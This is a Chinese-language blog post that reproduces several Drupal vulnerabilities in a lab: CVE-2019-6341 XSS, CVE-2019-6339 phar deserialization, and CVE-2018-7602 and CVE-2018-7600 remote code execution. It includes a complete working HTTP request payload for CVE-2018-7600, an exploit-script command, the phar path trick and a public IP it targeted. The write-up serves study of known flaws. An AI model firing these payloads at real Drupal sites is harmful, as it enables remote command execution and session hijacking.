Drupal CMS 相关漏洞复现

Drupal XSS漏洞(CVE-2019-6341)

 影响软件:Drupal
 方式:通过文件模块或者子系统上传恶意文件触发XSS漏洞
 参考链接:[Drupal 1-click to RCE 分析](https://paper.seebug.org/897/)
 效果:JS代码执行(Cookies 资料窃取、会话劫持、钓鱼欺骗、网页挂马等)

影响版本

在7.65之前的Drupal 7版本中; 8.6.13之前的Drupal 8.6版本; 8.5.14之前的Drupal 8.5版本。

实验环境

drupal 8.5.0

 

复现

 

 

 

 

1.使用PoC上传构造好的伪造GIF文件,PoC参考[thezdi/PoC](https://github.com/thezdi/PoC/tree/master/Drupal)的PoC。  

 

 

 

 

 

2.访问目标站点 

 

#Drupal 的图片默认存储位置为 `/sites/default/files/pictures/<YYYY-MM>/`,默认存储名称为其原来的名称,所以之后在利用漏洞时,可以知道上传后的图片的具体位置。

 

访问 http://45.77.127.27:8080/sites/default/files/pictures/2021-05/_0  成功触发xss

 

 

感觉么啥用啊,火狐和谷歌都拦截这个XSS,IE才能看到

 

 

 

Drupal 远程代码执行漏洞(CVE-2019-6339)

影响软件:Drupal
方式:phar反序列化RCE
参考链接:[Drupal 1-click to RCE 分析](https://paper.seebug.org/897/)
效果:任意命令执行

这个漏洞得要管理员账号登后台

 

实验环境

同上

 

1.先使用管理员用户上传头像,头像图片为构造好的 PoC,和上面实现一个github下载的gif

 

 

Drupal 的图片默认存储位置为 `/sites/default/files/pictures/<YYYY-MM>/`,默认存储名称为其原来的名称,所以之后在利用漏洞时,可以知道上传后的图片的具体位置。

 

 

 

 

 2.访问 `http://127.0.0.1:8080/admin/config/media/file-system`,在 `Temporary directory(临时目录)` 处输入之前上传的图片路径,示例为 `phar://./sites/default/files/pictures/2019-06/blog-ZDI-CAN-7232-cat_0.jpg`,保存后将触发该漏洞

phar://./sites/default/files/pictures/2021-05/blog-ZDI-CAN-7232-cat.jpg

 

 

 

 

 

 

Drupal 远程代码执行漏洞(CVE-2018-7602)

影响软件:drupal
方式:对URL中的#进行编码两次,绕过sanitize()函数过滤
效果:任意命令执行
条件:知道账号密码

实验环境

drupal 7.57

 

 

 

 

复现

 

1.整点脚本

 

https://github.com/pimps/CVE-2018-7600

 

 

 

2.用脚本

 

```bash
# "id"为要执行的命令 第一个drupal为用户名 第二个drupal为密码
python3 drupa7-CVE-2018-7602.py -c "id" drupal drupal http://127.0.0.1:8081/
```

 

 

没有脚本这日子怎么过啊,什么时候能写出自己的脚本发github上

 


Drupal 远程代码执行漏洞(CVE-2018-7600)

其6/7/8版本的Form API中存在一处远程代码执行漏洞

实验环境

drupal 8.5.0

 

复现

我们向安装完成的drupal发送如下数据包:

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id

 

当然版本小于7.57的版本我们也可以用脚本

 

 

Drupal相关漏洞还有

CVE-2017-6920  -- 8.x的Drupal Core--远程代码执行,这是Drupal Core的YAML解析器处理不当所导致的一个远程代码执行漏洞,影响8.x的Drupal Core   #需要管理员账号密码

CVE-2014-3704 -- Drupal < 7.32 -- SQL注入

这里就不复现了,遇到了再来折腾

 

 

 

 


 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

posted @ 2021-05-10 14:13  paku  阅读(5076)  评论(0编辑  收藏  举报